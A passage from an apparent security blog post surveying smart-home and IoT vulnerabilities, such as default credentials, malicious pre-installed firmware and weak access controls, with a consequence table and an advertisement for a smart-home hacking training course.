  • Compromised devices may serve attacks on other systems without user awareness—sometimes even posing physical safety risks (e.g., hijacked locks or thermostats).
• Privacy and Data Exposure
  • Insecure cameras, microphones, and voice assistants can be used for covert surveillance or to steal sensitive data.
  • Exposed cloud APIs and device “phone home” features can leak data to third parties or attackers.
• Weak Access Controls
  • Poor onboarding, lack of two-factor authentication, flawed pairing mechanisms, and weak authorization checks let attackers gain access to devices or sensitive controls.

Real-World Examples (2025)

• Smart TVs, streaming devices, and IP cameras are currently the most exploited categories, often running on Linux/Android with outdated kernels.
• Malicious firmware (such as BadBOX) pre-installed on consumer devices has led to huge botnets and residential proxy abuse, sometimes before devices are even plugged in by the end user.
• Large-scale privacy violations include attackers publicly streaming home camera footage due to default credentials or unpatched vulnerabilities.

Summary Table

Vulnerability Type	Example Consequence
Default/weak credentials	Easy unauthorized access
Outdated firmware	Exposure to known exploits
Open network services	Remote code execution, botnets
Poor encryption	Data interception, manipulation
Device hijacking/botnets	DDoS, fraud, lateral movement
Weak access controls	Device takeover, privacy breaches
Privacy/data exposure	Surveillance, data theft

Summary

Smart homes are becoming increasingly popular in industrialized countries particularly among higher income households. These smart homes offer the user convenience while offering an enticing target for hackers. If the attacker can compromise even one device within the home, then all of the devices on the home network are at risk!

To learn more about Smart Home Hacking and Security, consider attending our upcoming Smart Home Hacking training in January 2026.

As Internet of Things (IoT) devices continue to permeate every aspect of modern life, homes, offices, factories, vehicles, their attack surfaces have become increasingly attractive to adversaries. The challenge with testing IoT systems lies in their complexity: these devices often combine physical interfaces, embedded firmware, network services, web applications, and companion mobile apps into a [...]

The post IoT Penetration Testing: From Hardware to Firmware appeared first on Hacking Tutorials.